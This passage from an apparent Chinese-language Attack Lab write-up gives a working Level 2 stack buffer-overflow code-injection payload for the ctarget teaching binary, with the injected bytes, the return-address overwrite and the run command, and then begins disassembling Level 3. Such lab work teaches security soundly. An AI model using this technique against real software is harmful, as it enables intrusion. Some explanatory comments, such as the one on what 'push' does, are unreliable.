{
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
- 将正常的返回地址设置为你注入代码的地址,本次注入直接在栈顶注入,所以即返回地址设置为
%rsp
的地址
- 将
cookie
值移入到%rdi
,%rdi
是函数调用的第一个参数
- 获取
touch2
的起始地址
- 想要调用
touch2
,而又不能直接使用call
,jmp
等指令,所以只能使用ret
改变当前指令寄存器的指向地址。ret
是从栈上弹出返回地址,所以在此之前必须先将touch2
的地址压栈
注意此程序gdb
的使用,不能直接gdb ctarget
,需要先输入gdb
,然后利用file ctarget
打开对应的文件,或者gdb ctarget
,然后下断点b getbuf
,然后输入run -q
首先将我们要注入的指令写在level2_exp.s
中,0x59b997fa
就是cookie.txt
中的值
movq $0x59b997fa, %rdi
pushq $0x4017ec
ret
然后将.s
文件转换成计算机可执行的指令系列gcc -c level2_exp.s
,查看level2_exp.o
文件的反汇编
level2_exp.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec push指令先sub 8, %rsp 然后 movq $0x4017ec, %rsp
c: c3 retq ret指令 pop %eip,此时rsp存储的就是touch2的地址,就跳转到了touch2
将对应的机器指令写在level2_exp.txt
中,这里解释一下,push
指令后跟寄存器,表示将寄存区的值存储到rsp
指向的内存单元中,push imm
表示将立即数存放到rsp
中而不是它所指的内存单元。
push 1 相当于 mov
M[esp], 1 sub esp, 4 push ebp
相当于 mov
M[esp], ebp
sub esp, 4
call func
相当于 push 0x40117e
(eip
+硬编码长度) push指令又会将esp - 4
然后我们需要获取%rsp
的地址,为什么要获取%rsp
呢,因为此关我们是通过向栈中写入我们注入指令的指令序列,在栈的开始位置为注入代码的指令序列,然后填充满至40个字节,在接下来的8个字节,也就是原来的返回地址,填充成注入代码的起始地址,也就是%rsp
的地址,整个流程就是: getbuf => ret => 0x5561dc78 => mov $0x59b997fa, %rdi => ret => 0x4017ec
。
rsp
保存的是test
栈帧的返回地址,上面是高地址所以我们要注入的指令如下,注意小端序,
48 c7 c7 fa 97 b9 59 68 ec 17
40 00 c3 00 00 00 00 00 00 00 前面的字节时我们注入的 之后用垃圾数据填充栈中剩余的字节
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 40字节 4 * 10
78 dc 61 55 00 00 00 00 00 00 0x5561dc78 即为我们要返回的我们注入的字节的地址 即执行 sub rsp,0x28后的结果
最后执行./hex2raw < level2_exp.txt | ./ctarget -q
即可通过level2
Level 3
00000000004018fa <touch3>:
4018fa: 53 push %rbx
4018fb: 48 89 fb mov %rdi,%rbx
4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel>
401905: 00 00 00
401908: 48 89 fe mov %rdi,%rsi
40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie>
401911: e8 36 ff ff ff callq 40184c <hexmatch> # 调用了 hexmatch
401916: 85 c0 test %eax,%eax
401918: 74 23 je 40193d <touch3+0x43> # 如果不匹配的话 跳转到 0x40193d
40191a: 48 89 da mov %rbx,%rdx
40191d: be 38 31 40 00 mov $0x403138,%esi
401922: bf 01 00 00 00 mov $0x1,%edi
401927: b8 00 00 00 00 mov $0x0,%eax
40192c: e8 bf f4 ff ff callq 400df0 <__printf_chk@plt>
401931: bf 03 00 00 00 mov $0x3,%edi
401936: e8 52 03 00 00 callq 401c8d <validate>
40193b: eb 21 jmp 40195e <touch3+0x64>
40193d: 48 89 da mov %rbx,%rdx
401940: be 60 31 40 00 mov $0x403160,%esi
401945: bf 01 00 00 00 mov $0x1,%edi
40194a: b8 00 00 00 00 mov $0x0,%eax
40194f: e8 9c f4 ff ff callq 400df0 <__printf_chk@plt>
401954: bf 03 00 00 00 mov $0x3,%edi
401959: e8 f1 03 00 00 callq 401d4f <fail>
40195e: bf 00 00 00 00 mov $0x0,%edi
401963: e8 d8 f4 ff ff callq 400e40 <exit@plt>
void touch3(char *sval){
vlevel = 3;
if (hexmatch(cookie, sval)){
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
000000000040184c <hexmatch>:
40184c: 41 54 push %r12
40184e: 55 push %rbp
40184f: 53 push %rbx
401850: 48 83 c4 80 add $0xffffffffffffff80,%rsp # 其实是-0x80的补码 相当于开辟了128字节空间
401854: 41 89 fc mov %edi,%r12d
401857: 48 89 f5 mov %rsi,%rbp
40185a: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
401861: 00 00
401863: 48 89 44